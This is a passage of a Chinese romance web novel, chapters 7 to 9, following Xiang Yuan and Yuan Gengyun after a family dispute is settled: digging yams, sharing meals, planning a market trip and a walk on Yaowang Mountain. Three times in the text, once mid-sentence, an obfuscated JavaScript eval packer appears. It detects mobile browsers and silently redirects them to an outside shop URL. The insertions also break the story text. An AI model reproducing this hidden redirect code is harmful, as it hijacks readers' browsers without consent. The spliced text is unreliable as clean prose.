原耕耘仿照向园可能有的语气,如此如此说了一通,最后质问道:“恕小婿直言,向家小娘子怎有这话?莫非舅舅对原家不满,意图把外甥女儿另许别家? “我也想知道,是哪家这样财大气粗,比原家还能让您动心?” 原耕耘虽笑着,眼睛里却是审视。 梅大舅叫他看得心里发慌,不由就对号入座,一时间竟忘了怀疑原耕耘口中的女子到底是不是自己那大门不出二门不迈的外甥女儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他吞吞吐吐,不知道该不该说下去。 “结果什么?”梅大舅问。 原丰收扒着门框,往外探头。他也想知道。 小畜生不会平白无故就来找他,可要说他早有预谋,想抱得美人归,也不至于这样麻烦。 至于他那些鬼话,糊弄得了别人,可糊弄不了他。今儿个他非得听听不行。 哼,要是那小娘子出了事,看这个小畜生还得意不得意! 原耕耘:“过来这边说!” 他侧身,把原丰收的视线隔绝在外。 原丰收:“……” 大管事:“……” 梅大舅不想原耕耘如此周到,他看他一眼,见他身姿端正,目下无尘,心里不由高看他几分,一时竟觉得外甥女儿能寻个这样品貌相当的丈夫也不错。 总归原家的家产都要叫他继承,无非是早几年当家、晚几年当家的问题,他们总能沾得上光。而且他看着比原大老爷大方,真叫外甥女儿笼络住了,更舍得也说不定。 小伙计跟着原耕耘进了小屋,压低声音颤颤巍巍道:“小姐不见了,只有孝衣原原本本摆在床上,脖子处叫血迹污了一大块,炕上还刻着血字……一屋子,全是米粒,我听邻舍们说那是招魂用的,准是招来什么不干净的东西,把小姐卷跑了。” 梅大用一惊,又往原耕耘身上瞧。 事情竟会这样凑巧?难道那院子里真有不干净的东西? “肯定就是!”他们没回应,小伙计也没停嘴,斩钉截铁道。 又说自己的分析,“我问过邻舍,她们说小姐昨儿下晌还好好的,我送去的东西她也收拢整齐了,还请邻舍家的小孩帮着捡了两捆柴火,堆在柴棚底下,说是够这几天用了。夕食她还炖了一锅鸡汤喝,说要好好调养身体,怎么看都不是想不开的样子。我去灶房瞧的时候,那汤还有大半锅呢,可小姐却不见了……掌柜的!” 梅大用差点闭过气去。 小伙计扶他站稳,又想哭了。 他觉着这是个好差事,没成想竟撞上这样一出事儿,以后他都不敢走夜路了。 不只是他,今儿个好些人都不敢走夜路了。 梅大用甚至都没问原耕耘,自家外甥女儿要怎么安顿。 他不管了,他管不了了。 那换前程的梦话或许真是鬼话,老娘这明显是不待见自己啊。 他得赶紧回去烧几炷香拜拜,让老娘早些安息,可千万别来生事了。 这次是老娘心爱的外甥女儿遭遇这样的奇事,下次要是他遭遇这番,可未必有外甥女的好运气…… 想着,梅大舅越发胆寒,他匆匆跟原耕耘告辞,就要离去。 富贵固然重要,当员外固然重要,可再重要也没这条命重要。 原耕耘拦下他,“舅舅,您就这样走了?” 梅大用出了一身冷汗,“既是有婚书在,又有这一段缘分,外甥女儿的婚事全凭你们做主,我看即日拜堂成亲也好,冲冲喜气。贤甥婿啊,你看槐树井出了这事儿,总不能让外甥女儿回去,不如,不如……” 任是脸皮够厚,他也不好直说把外甥女儿留在原家,想等原耕耘开口。 原耕耘一脸正色,“舅舅把我当成什么人了,甥婿不才,也不敢做这样没道理的事儿。听说令外甥女儿也饱读诗书,不是小家女子做派,我更不敢辱没了她。我看您还是把外甥女儿领回去,我们另择吉日,再三媒六聘、风风光光上门求娶。” 梅大用哪里敢,谁知道外甥女儿现在是人是鬼,他巴不得赶紧把人甩脱,“贤甥婿哪里话?有亲家老太太在,怎能叫辱没。你们带人走,自是有双方长辈为证,男婚女嫁,光明正大,绝不会有人说闲话的!” 原耕耘瞥瞥小伙计,又瞧瞧梅大舅。 梅大舅:“……” 他还算机敏,很快明白原耕耘的用意,“阿得,你胡嚷嚷什么,听话也不听全乎,我不早跟你说过,放心不下,早间就把小姐接家来了,让你过去收拾行李,你又钻哪儿发梦去了?做这不着四六的梦,还瞎嚷嚷,坏了小姐名声我拿你是问!” 小伙计摸摸脑袋,弄不清眼下是什么状况。 小伙计来得仓促,梅大舅走得仓促,原丰收猜测肯定是小娘子出了什么事儿。 可这事儿小杂种知道,梅大用也知道,甚至连个小伙计都知道,就他不知道,他急得抓心挠肝的,坐不安生。 可惜大管家是个笨蛋,守在墙根底下,也没听清他们几个唧哝的什么。 原丰收朝大管家使个眼色,让他守在门口,等小杂种出来问问。 原耕耘终于出来,无奈个子太高,他目不斜视,把分家文书往桌上一拍,就转身离去,根本没接收到两人殷切好奇的视线。 原丰收愣住,嘴张了几张,也没说出话来。 大管事:“老爷,这……” 梦寐以求的东西拿回来了,原丰收却并不如想象的那样高兴,他皱皱眉,“收起来吧!二小姐今日还是那样?” 大管事点点头,跟着愁眉苦脸起来,“是啊,大夫说再这样下去,怕是要不好……” 原耕耘到家时,天已经黑透,院里屋里没一点亮光,只有半梦半醒的鸡鸭传来梦呓般的叫声。 大黄狗认得他的气味,干脆就没叫唤,只跑了几步出来迎他。 原耕耘摸摸狗头,往隔壁院子瞧了一眼。 楼上灯还亮着,娘没回来住?他猜测着,假意喊了一声,声音不低。 果然,没一会儿,那边露台上显出两个人影。 “耕耘啊,你回来了?”樊云英趴在栏杆上朝外张望。 向园没出声,显然也是着急的,噔噔噔就往楼梯口处跑,像是要来给他开门。 原耕耘没想到她对人这么不设防,忙道:“夜间冷,你们别出来。” 他往远处走几步,把自己暴露在二楼的视线范围内,道:“没事了,原家和梅大舅那边都已经说好,他们不会再胡来,你们安心睡吧。” 向园止住脚步,眼巴巴往这边瞅。 那样为难的事情,真的就这样了了? 她竟有些不敢相信。 原耕耘好似知道她的想法,抬起头,“这不难,原大要脸面,梅大舅怕阴司报应,掐准了他俩的脉,也就是几句话的事。” 至于那分家文书,于他而言,不过是一张废纸,就没必要特地拎出来说了。 樊云英深信儿子的本事,闻言也有几分激动,“那就好,那就好!灶间锅里温着饭食,你吃了早些歇着,我今天住这边陪园园。” “嗯。”原耕耘应了一声,并没有走远,看到二人转身进了屋里,才往自家院门走去。 要是她知道他是用这种法子摆平原家和梅大舅的,不晓得会不会哭。 7. 第 7 章 向园没心思哭,担惊受怕这一阵子,终于安定下来,可以过清闲的日子了,她高兴还来不及。 原耕耘只说事情摆平了,却没说怎么摆平的。 樊云英也没多想,给向园传话的时候说得也简单。 他们语焉不详的,又是原家兄弟之间的交涉,向园就没细问,心中只是感激,可她现在一无所有,并不知道该如何报答。 她想着先把日子过起来,两家离得近,平日里常走动来往,总有用得上她的时候。 向园经历这连番波折,樊云英怕她一个人害怕,本想在这儿多陪她几日,但没想到第二天一早,谷敬就来接她。 “我挂心家里,就没跟他们一起去渠州,买好货直接回来了。” 谷敬浓眉大眼,长相周正,说起话来很诚恳,半点不像生意人。 他每说半句话,眼神就不自觉瞟向樊云英,然后再悄摸看原耕耘一眼,生怕他发现似的。 向园觉得,他这小心翼翼的模样,根本不像面对继子,反倒像是在接受老丈人考量的女婿。 再看原耕耘,板着一张俊脸,只听不说。 嗯,更像了。 她打过招呼,准备离开,留他们一家人说话。 还没迈出步子,谷敬突地一下站起来。 向园吓了一跳,没等谷敬开口,她就开始打嗝。 原耕耘:“……” 谷敬:“我、我、我……” 他急得说不出话来,一个劲儿瞅樊云英。 当着两个小辈的面,樊云英双颊滚烫,像天边的朝霞。 等她好不容易压下脸上的热意,原耕耘已经倒了一杯热水给向园。 樊云英这才道:“这是向郎中家的小闺女,叫园园,打小就是我看着长大的。” 她这样一说,谷敬心中有数了。向郎中的名声在附近几个村都很响亮。 刚刚向园要走,他是真的吓了一跳。 他以为这是自家媳妇儿给继子相看的小娘子。这样出挑的孩子,以后可能就是自家儿媳妇儿,要是因为他的缘故没成,那可真是造孽了。 耕耘说不定会更不喜欢他。 向园打着嗝,道谢的话都说不囫囵,她脸蛋通红,语无伦次。 原耕耘不用她谢,垂眸把杯子递过去,又递过去一个安抚的眼神后,就站到一边,看谷敬打算说什么。 谷敬更忐忑了,任是樊云英脸皮薄,都叫这爷俩逗乐。 她笑着将谷敬带来的东西收拾出来,一边挑拣着装篮,一边道:“园园不急走,这是你谷大叔从桐州带回来的点心,酥脆香甜,你小时候最爱这个口味。这是银鱼干,炖汤炒菜,味道最鲜美不过。这是……” 樊云英拿着几块印花布,瞧向谷敬。 这是你带的表礼?她用眼神发出疑问。 谷敬刚坐稳,接收到她的视线,呼啦一下又站起来。 他看着布,也傻眼了。 这布的确是他带来的。 原耕耘年纪不小,这几年就该娶媳妇儿了。可他独一个过活,没人帮衬,挑剔些的人家,是看不上这样的女婿的。 他这个做后爹的,把人家亲娘都拐跑了,他的婚事上,多的暂时帮不上忙,一些小事上,他就很留心。 像这个印花布,就是他从通州进回来的新鲜花样。 他想着,太金贵的东西他买不起,一些特产他就是带回来了,也存不下、放不住,不像这布,又好看又结实,颜色鲜亮,价格还不贵,还耐放。 最关键的是,布在乡下人家看来都是稀罕东西。 他刚跟媳妇儿交心的时候就想着,以后每回出门进货都带些布回来,给耕耘存着。 这样既能哄得自家媳妇儿高兴不说,等到耕耘娶媳妇儿的时候,这些布他不管是拿出去做聘礼,还是拿给新媳妇儿裁衣裳,都很体面。 说起来,也是他这个后爹对继子的一番心意。 只是这会儿,谷敬不知道如何开口。 向家这位小娘子,看着和耕耘是很登对,也很得自家媳妇儿的意,但到底是不是给耕耘相看的,还不好说。 他也不好就把那些话吐出来。 万一不是,岂不是让人家尴尬? 他看看向园,又看看原耕耘,一句话也说不出来,只好又看向樊云英。 樊云英:“……” 难不成真是给耕耘带的?可这花样,不像男人家能用的啊。 她把布整理好,刚想往篮子里塞两块,让向园带走裁衣裳,原耕耘看了过来,“怕是敬叔过来得急,装错了,这是给您带的吧。” 樊云英低头瞧瞧,有蓝印花的,也有红印花的,还有几块花里胡哨的。这颜色看着不错,但给小娘子用,就显老气了些。 她手一转,问谷敬,“就没有颜色浅淡些的?” 谷敬:“……” 自然是有的,只是他怕浅色的不好卖,到时候再砸手里,根本就没进。 女人不都喜欢花布吗?颜色浅淡的,能有人买? 他发出耿直的疑惑。 向园看了这一会儿,就不打嗝了,她怕樊伯母还要给她装东西,忙不迭要走。 原耕耘从樊云英手中接过篮子,送她出门。 向园不肯接。 原耕耘直接往她手里塞。 向园背着手后退。 原耕耘:“……” 后头没脚步声,他就没那么多顾忌,直接伸手一捞,拉平她胳膊,把篮子挂上去,转身走了。 向园:“……” 向园红着脸回了院子,把篮子放好,就去药圃里挖山药。 昨日她就发现,这药圃里铺满了山药藤。应该是之前种进去,没来得及采收,才越长越多的。 连番受樊伯母和耕耘哥哥这么大人情,她不能一点表示也没有。 趁现在天还早,樊伯母他们不会那么快走,她要赶紧挖一些山药出来,做回礼。虽不算贵重,也算她花了心思。 药圃面积不小,虽是沿着墙的两长溜儿,看着不显眼,加起来也有两分半地。 现在,里头除了互相缠绕着狂野蔓延的山药藤,就是乱七八糟的杂草。 向园能叫上名来的草药都被淹没得看不见了。 她扒开一片,就能看到草堆里四处散落的山药豆。这块地,显然已经被山药霸占了。 向园挺高兴。 山药可是好东西呀,不管药用还是食用,对身体都好。不仅能健脾补虚,滋精固肾,常用还能治虚损劳伤。 关键是吃起来也好吃,绵软细腻,醇厚香甜,粉糯糯的,煮粥煮饭加几块都很有滋味,如果跟老母鸡一起炖,简直就是绝配。 向园想起去年喝过的山药鸡汤,咽了咽口水。 药锄这时候就发挥了用场,向园三两下把高过山药藤的杂草拔干净,开始拎起锄头往下刨山药。 这是个细致活,首先得找准山药根茎的位置,其次下劲儿不能太大,不然就容易把山药截断。而且,山药往往很能扎根,有时候能深入地下三五尺,上半部分还能用工具,再往深处的就得用手慢慢抠了。 药圃里这些还好,向园扒拉好几根,长度基本都在二尺左右,就是粗细不均匀,粗一些的跟小孩手腕儿差不多粗,细嫩的跟也就大人拇指那样。 费了一番功夫,向园终于挖好一堆山药。 她摆放整齐,用草绳比划一下,差不多有一捆了,她停下手,正犹豫是再挖一些还是先送过去,就听见隔壁传来动静。 樊伯母和谷大叔要走了? 向园探头看一眼,手都来不及洗,匆匆捆好山药拎着出门。 樊云英正跟她摆手,“园园,我们走了,过两天再来看你。” 她本来是打算等向园这边都安定下来再走的,刚刚原耕耘出门的时候,她就和谷敬商量。 奈何谷敬不愿意。 谷敬赶这么急回来就是想媳妇儿,舍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15912399|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得她。好容易他回来了,媳妇儿却不肯跟他回家。 谷敬想得很开,不回家也行,那他也不回家。反正他除了媳妇也没别的牵挂,媳妇儿在哪,他就在哪。 樊云英叫他弄得没脾气,只得先回去。反正白石滩离这儿不算太远,赶骡车的话,也不过是两三刻钟工夫。 “樊姨,等等,这个你们带回去吃。”向园疾奔两步,走到骡车旁,把山药放上去。 听见她这称呼,樊云英愣了一下。原耕耘都没忍住瞧过来,眼里笑意流转,很快消失不见。 向园满脸是土,头上还沾着草叶子,她一无所觉。 樊云英看得不忍,替她收拾干净,笑道:“好,姨母不跟你客气。你一个人在家,凡事当心,有什么活儿就去隔壁喊你耕耘哥哥,不要不好意思,这是他当哥哥的该做的。” 向园乖乖点头。 虽然她不觉得有什么是耕耘哥哥该为她做的,但此刻,感受到樊姨不舍的情绪,只有点头才能让她放心吧。 骡车走远,及至驶过石板桥,拐到大路上,再也看不见踪影,向园才放下手,若有所失。 樊姨走了,她以后,又要一个人住了。 原耕耘瞥她一眼。 这表情,怎么跟小时候一模一样? 看来十年前她真的没说谎,她只是舍不得他娘,不是舍不得他。 “还要挖山药吗?”原耕耘问。 他明天要上山去,得趁今天把她那里的活计大概料理清楚,不然她一个人,怕是又要折腾好几天。 向园不由发愣。 要挖没错,但她是准备再挖一些送给原耕耘的。 送给原耕耘的东西,还要让他帮忙,这不合适……吧? 原耕耘不觉得不合适。 他很不见外地先向园一步走进院子,拿起药锄开刨。 向园迷迷瞪瞪要伸手帮忙的时候,他道:“快晌午了,你去做饭吧。我想吃葱花饼。” 昨晚原耕耘就吃的这个,咬进嘴里的第一口,他就察觉出来,那不是他娘能有的手艺。 向园:“……” 或许当哥哥的就该是这个样子?毕竟丛殊表哥也是如此。 她心里将两人的神情比对一下,拎起地上放着的刚刚挖破皮的山药,往一旁的棚子底下去。 后院的灶房比正房还破,原耕耘就在前院简单搭了个棚子,砌了个土灶,暂时给她做灶房用。 好在铁锅、砂锅和陶缸、陶碗、陶盆这些东西大都还能用,向园昨儿个已经清洗干净,放进灶间了。 早间原耕耘就挑了一担水过来,烧水做饭尽够的。 又有他们昨日送来的米面菜蔬,倒也不至于难为无米之炊。 两人都是干活麻利的,向园这边煮好饭时,原耕耘也把靠西墙角落处的一溜儿山药都挖出来了。 那一块儿地不算很大,他挖了有六七捆山药,约摸有三五十斤的样子。 原耕耘一边洗手洗脸,一边道:“剩下那些过段日子再挖?都挖出来不耐存放。” 虽说山药埋土里也能放挺长时间,但断根的埋土里和带着根长土里,不是一回事。总归是现吃现挖最新鲜。 向园点头,将山药粥连瓦罐一起端到堂屋,招呼原耕耘进屋吃饭。 原耕耘摇头,自顾自从盛葱花饼的小竹筐里捞了一沓饼,就要出门。 向园:“……” “耕耘、哥哥。”她生涩地喊。 樊姨不在,她再喊这四个字,总觉得太过亲昵,像撒娇似的。 原耕耘也觉得像,不过他不动声色,只是回过头来,挑了挑眉。 向园看懂了,那意思是,还有事? 他这般自然洒脱,向园忽然觉得自己太小气了,不止做事小气,说话也小气。 “耕耘哥哥,”她清清嗓子,落落大方地重新喊过,“还有粥呢,吃过再走吧。” 原耕耘沉默片刻,跟在她身后进了堂屋。 8. 第 8 章 尽管做好了心理准备,但坐在原耕耘对面,和他相对着吃饭,向园还是有片刻不自在。 她长这么大,还是头一次跟不熟悉的成年男子一起吃饭。 趁着拿饼的工夫,向园偷瞧了一眼对面。 嗯,把他想象成丛殊表哥,好像就不是那么难以接受了。 要大方,她悄悄给自己鼓劲儿。 只是鼓完劲儿没多大一会儿,那气势立马就泄了些许。 因为她想,如果樊姨在就好了。 樊姨在的话,她坐在中堂,他们俩分坐两侧,看着会更像一家人,就像早上吃朝食一样。 她或许还能更自然、更大方一点。 山药粥软糯香甜,估计是加了蒸熟的红薯,粥里飘着丝丝金黄。 葱花饼煎得溜薄,却也能分出好几层来,每层之间夹着切得细碎的葱花,表层酥脆,内里香软劲道,麦香里掺杂着葱香,让人意犹未尽。 还有一碟小菜,用水焯过,加了盐和香醋清拌,碧绿碧绿的,原耕耘看不出来是什么,他夹了一筷子,尝出来是荠菜。 一餐昼食,原耕耘吃得心满意足。不仅肚里饱足,心里饱足,眼里也饱足。 向园再偷眼瞧这边的时候,他不再刻意垂眼,任由对方撞入他的视线。 片刻的交汇,原有的浓稠的情意之外,原耕耘又生出一些别样的感觉,像是软绵的草尖搔在眼皮上,肉皮儿痒痒的,心尖儿也痒痒的。 心里汪着的那一池春水,被草叶搅荡,明明是轻飘飘的力道,却掀起波澜。 他想捉住那惹人的草,却不敢动手,更不敢用力,只能等她偏向他的时候,轻轻捧住,让她倚靠自己,再不随风飘摇。 压住心底的异样,原耕耘喝完最后一口粥,对向园道:“我明天上山,后天找人过来淘井,大后天去草市桥赶圩,你想想有什么需要添置的,我到时候顺便给你带回来。” 他没放下筷子,直接收碗去井边洗。 向园惊讶,然后就是慌张,“耕耘哥哥,我来!” 本该是强硬的话语,叫她说来,却软绵绵的,没有力道。 但她眼神很诚恳,望向原耕耘。 原耕耘看她搭在碟子上的手,露出来的指腹上有一层薄茧,手背却细嫩白皙,剐蹭的红紫伤痕就异常明显,看那淤肿的程度,不像新伤。 “手什么时候伤的?” 向园缩回手,背到身后,答非所问,“不小心伤到了。” 这只是砍竹子的时候伤到的,她不该心虚啊,她又没做坏事。 可她还是低下了头。 原耕耘目的达成,低头瞟一眼,只能看见她黑鬒鬒毛茸茸的发髻。 他端着碗碟往井边走,继续之前的话题,“你先四处看看,记下缺什么少什么。” 向园确实需要添置点东西。 家里搜罗出来的能用的东西不少,但用得顺手的东西却不多。 像是灶房那口大铁锅,向园就想换了,换个小点的。 砧板也得买一个。她现在没有砧板,切菜用的是一个木头桩子。 那木头桩子还在地里扎着根,大是够大,就是太矮了。 向园坐在小板凳上,切菜、擀饼都得弓着背、弯着腰。 说起这个,擀面杖也得买一个。 她现在用的这个还是樊姨拿来的,但谁家也不会放两个擀面杖啊,她用了,耕耘哥哥就没得用了。 还有柴米油盐酱醋茶,柴就不说了,烧没了她可以抽空去山上捡一些。其他几样也都是樊姨他们带过来的,够她用一段时间。 不过,她想着趁赶集的时候再囤一些。 毕竟屋里有粮,心里才不慌。 她还想买些菜种和鸡崽儿鸭崽儿鹅崽儿。 春上,正是育苗的好时候,要想夏天有菜吃,得趁早把菜种撒上才行。 药圃她还打算留着种药材。 后院不能住人,院子里那么大地方,荒着白白浪费了。她打算开出来种菜,最好再种些芋头、红薯和土豆之类的。 这些东西不挑地,还好种活。 边边角角的地方,就围起来养鸡养鸭养鹅。 后头有竹林,前头有水塘,西边还有一块桑园,不怕鸡崽儿鸭崽儿鹅崽儿没地方撒欢。 不过家里没粮食,自然也就没有秕谷糠麸,今年喂的话,只能给它们吃草吃菜,肯定不会养得很肥。 所以到底买不买,向园还在犹豫。 另外,她还想买点背篓、提篮、竹筐什么的。现在家里用的这些都是耕耘哥哥的,可是这些家用东西,谁家也不会有太多,她占着,他那边恐怕就不方便了。 家里砍刀、镰刀、篾刀这些铁具虽然锈迹斑斑,但都是好东西,随便磨一磨,把生锈的地方磨光,就又锋利如初了。 但是砍竹子现做背筐的话,光是劈篾条就要好大工夫。 她还不大精通这个,做出来也仅仅是能用而已。倒不如先在集市买一两个用,等随后看村里谁家编得好,再跟村里人买…… 向园越盘算,发现屋里缺的东西越多。但她手头银钱有限,也不能什么都买,她还得好好合计合计。 原耕耘不着急,他举起碗碟,沥干水,温声道:“你这两天慢慢想,想好列张单子给我……” 说到这儿,他猛然想起,向园记性不好。他每年夏天来,她都不记得他,得把他当成新的小哥哥认识一遍。 向家叔婶去世的时候,以她的年岁,未必能把字认全,便改口道:“你去拿纸笔,想起什么跟我说,我来写。” 向园不知道他担心自己不识字,“我一时也想不周全,等我想好了再跟你说?” 她歪头看过来,眉毛弯弯的,眼睛圆圆的,嘴唇红红的,声音柔柔的,整个人都很乖。 原耕耘很想捂住她的眼睛。 他别开眼,“嗯,不着急。这山药,要不要卖掉?” 她现在,缺衣少食的。 三五十斤山药,全堆在这儿,他怕她见天别的不吃,净吃山药了。 向园过去也采药卖药,但外婆说她这模样,站大街上卖货就是招惹是非,所以她十三岁之后,就再也不带她往集市上去了,外婆也很少去,她的药材都是托给表哥卖的。 药材嘛,常见的便宜,稀罕的价高,有时候遇上品相好的珍贵药材,她也会自己试着炮制炮制,若是炮制得好,就自家留着。 外婆最后吊命用的那根老参,就是她采了炮制好的。若没有那根参,只怕外婆捱不过去年冬天。 她很庆幸,当初没有听外婆的话,把参卖掉。 山药她也经常采挖,但很少卖。这东西滋补,口感绵软,正适合老人家吃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15922667|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外婆也爱吃,她就都留着。若是运气好找到一窝,她们婆孙俩就能吃好几天。 “山药什么价?”她问原耕耘。 若是卖得便宜,还不如自家吃了划算。 这东西虽然多,但樊姨分一堆,耕耘哥哥分一堆,她自己再留一堆,也就没那么多了。 每天都吃的话,也就能吃一个多月。 关键这东西是吃了对身体好,益气力,长肌肉,补虚羸,男女老少皆宜。 原耕耘不知道她还真想每天都吃山药,而且她不只自己这样吃,还想让他们也跟着这样吃。 他平稳声线,回答向园的问题,“山药一般秋季上市,那个时候价格便宜,一般是二十五文一斤。现在春天了,市上少有买的,就算有,往往也是去年埋下的。这个时候卖,就要先去集市上转一圈,看有没有别家卖,没有别家卖,就是紧俏货,开价一般不会低于三十文一斤。若是有别家卖,就要试探着开价了,总归不会低于二十七文一斤。” 原耕耘打猎为生,平时卖猎物多,哪怕最初不懂,学这几年,他也摸出点门道来。 小买卖的窍门,都是一通百通的。 他们这种偶然为之的买卖,不比那些常年摆摊开铺的生意,要收拢顾客,维持关系,就必然要花费心力。 他们货物不定,卖货时间不定,买主通常也不是同一批人。所以交易的时候,买主要猜卖家的心思,卖家也要猜买主的心思,你抬我降,你来我往,才能把价格推向双方都能接受的范围。 既不能把价格定得太高,让人望而却步,也不能把价定得太低。 过来问的都是有心要买的人,一旦开了低价,人家指定满意,说不得还要再压价,那就亏了。 卖得越多,亏得越多。 原耕耘一一解释给向园听。 向园很喜欢听这些,她能听得懂,但很难想象那是怎样一幅场景。 这么高的耕耘哥哥,站在一堆山药后,等着人来买。这情景怎么想,怎么觉得可喜。 他跟丛殊表哥还不大一样,丛殊表哥爱说爱笑,他说他背着药材去医馆卖,大夫和小伙计们可欢迎了,瞧见他比瞧见那些光顾医馆生意的病人还喜欢。 耕耘哥哥有点严肃,他应该不会吆喝吧,或许站在那儿一天也不会有人来问价。 不过也不一定,他长得这样抢眼,或许能吸引人过去买? 反正她要是看见这么一个人,长得好看,卖的东西她也感兴趣,她肯定要过去多瞧两眼的。 向园眼睛亮晶晶的,紧紧黏在原耕耘身上,想听他再多说一些。 原耕耘:“……” 他接收到了眼神,却没接收到意思,他闭嘴不说了。 向园:“……”有点失望。 “我可以跟你一起上山吗?”她低声问。 蒲家塘背靠药王山。向园记得,父亲病重之前,经常去山上采药。 父亲还说,药王山是山神留给世人的宝藏,他们挖掘宝藏的同时,更要好好保护这片山林。 她想去山上看看。 “可以,现在走?” 原耕耘知道她有采药的生计,她现在衣食无着,心里肯定也不安定,若是能让她安心,带她去山上看看也好。 明天上山,他要跟别人一起,不方便带她,不如现在带她过去转一圈。 9. 第 9 章 向园没想到他这么好说话。 “那我可以跟你一起赶圩吗?”她得寸进尺。 从槐树井到蒲家塘的那段路程,是她头一次一个人上路。 一路上,她都提心吊胆的。 或许是听丛殊表哥讲过太多光怪陆离的故事,她一直觉得,市井和乡野是比山林更危险的地方。 山林里顶多有吃人的野兽,可它们也怕人,白天往往不会出没。就是出没,只要人足够厉害,它们轻易也不敢上前招惹。 可人不一样,看着慈眉善目、和蔼可亲的人,翻过脸,或许就会拧出狰狞可怕的面目。 他们可能是小偷,也可能是强盗,可能是拐女人、卖孩子的拍花子,也可能是舌绽莲花专门坑人钱财的骗子…… 向园觉得可怕,她听丛殊表哥说过,有个新媳妇儿要回娘家,不过是从婆家门口招了一条顺路的船,结果就被黑心的船夫卖到了坏地方。 至于是什么坏地方,她懵懵懂懂想不明白,丛殊表哥也不肯告诉她。可向园想想也能猜到几分。 外婆去了,血亲的舅舅尚且能狠下心肠绝了她的衣食,更何况坏地方的人呢?不给吃喝都是轻的,只怕还要照死里使唤人干活,要是手脚慢点,说不定还要挨棍子吃鞭子。 所以,哪怕记忆中的草市桥很热闹,她也从未动过一个人赶圩的念头。 她本来想的是,等樊姨什么时候去,她跟她一起。 她可以打扮得丑一点,在脸上抹灰抹草汁,还可以装瞎,然后谨言慎行,绝不惹是生非。 可没想到樊姨今天就走了,她完美的计划破灭了。如果不把握住这个机会跟紧耕耘哥哥,还不知道什么时候能赶上圩呢。 原耕耘:“……” 他不想拒绝,但是…… “可以,等十一那日好不好?你着急要置办的东西,初七我置办齐了,十一那日再带你过去看看。” 只要她想,只要他能做到,就没有什么可‘但是’的。 “好啊!”向园很高兴。 十一再去,那之前的几天,就都是满怀期待的日子啦。 她眼睛亮晶晶的,像是天上的星子落入,光芒闪烁。 原耕耘抬了抬手,也没想好到底要做什么,他转过身,声音低沉暗哑,“走吧。” . 药王山不是单独的一座山,而是参差起伏、连绵不断的一片山脉,从西南方向起势,到绿蒲村处突然转折,然后往东方延伸。 转折处的这座山就叫羊角岭,也叫羊头岭。 因为山两侧各托出一个拱形的石峰,跟羊脑袋上的两只弯角似的,才有了这个名字。 羊角岭外还有座长满竹子的小山包,小山包形似弯折的笔架,山脚处就蜷成了个山窝。 山包上和山窝里长满竹子,大家就唤这地界叫竹窝窝,竹坡坡。 蒲家塘就背靠竹窝窝和竹坡坡。 向园跟着原耕耘,穿过屋后的竹林,往山上走。 绿蒲村很大,蒲家塘在绿蒲村最里边,跟村中心相隔半里地远。 除了原耕耘,村民们很少绕远走这里上山,他们更喜欢从羊头岭羊角的位置上山。在西边住的人就走西羊角,在东边住的人就走东羊角。 这里少有人走,路也就不那么好走。 原耕耘习惯了,踩在松软厚实的竹叶上,脚步很轻又很稳。 向园就不行。 她脚上这双鞋还是去年的,穿着明显小了,挤脚不说,穿这一年,鞋底子都磨薄了,走起路来总是脚滑。 去冬的竹叶堆积在山道上,蓬松杂乱,遮掩着连山径的走向都看不清楚,向园总担心一脚踩下去会踩空。 原耕耘注意到这点,回头道:“顺着我的脚印走。” 向园:“……” 原耕耘和她相隔三尺之距,她低头看两人之间的路,被踩过的竹叶难道不是立马回弹了吗,要怎么从中辨别出他的脚印? 原耕耘已经继续往前走了,只是这次,他脚步放得很慢,沉重有力。 向园就看见,蓬松的竹叶山道被他踩出一个又一个浅浅的坑,说坑也不恰当,反正能看得到竹叶下的土壤。 她顺着走两步,又跑两步,到原耕耘身侧。 原耕耘偏头看她,眼神疑惑。 “耕耘哥哥,你不要这样走了,多费力气,我跟紧一点就好。” “好。”原耕耘往边上让了让,让她跟自己并排,“不要看脚下,往前走就行,我带你走过的地方,就是路。” 他想着今年就不去搂松针了,回头直接把竹叶搂回去,就足够今年引火用了。 过了竹坡坡,一到羊角岭,山路就明显起来,显然这山上常有人迹。 向园一路走,一路惊叹。 这片大山果然不愧药王之名,单是最外围的这个羊角岭,向园就发现不少常用的草药。 像是蒲公英,紫花地丁,车前草,鱼腥草、夏枯草、小蓟这些都是最常见的,不需要如何炮制,晒干就能用。 这些药材药铺很少收,药方里如果有,村民自己就能采摘。 时间长了,大家就琢磨出来这些东西的效用,甚至不用看大夫开方子,就知道什么时候该用什么药。 这几种药材基本上都能清热解毒,凉血消肿。 春秋天气干燥的时候,勤快细致些的人家会提前用草药煮水喝,有的干脆就每天煮上一壶,当茶水饮用,预防上火。 蒲公英、紫花地丁和小蓟还能治疗痈肿疔疮。山上虫蛇多,常在山上行走的人就会多备一些,一旦被咬伤了,能及时用药。 夏枯草清肝泻火、散结消肿,还能明目,眼神不好的老人家最爱。 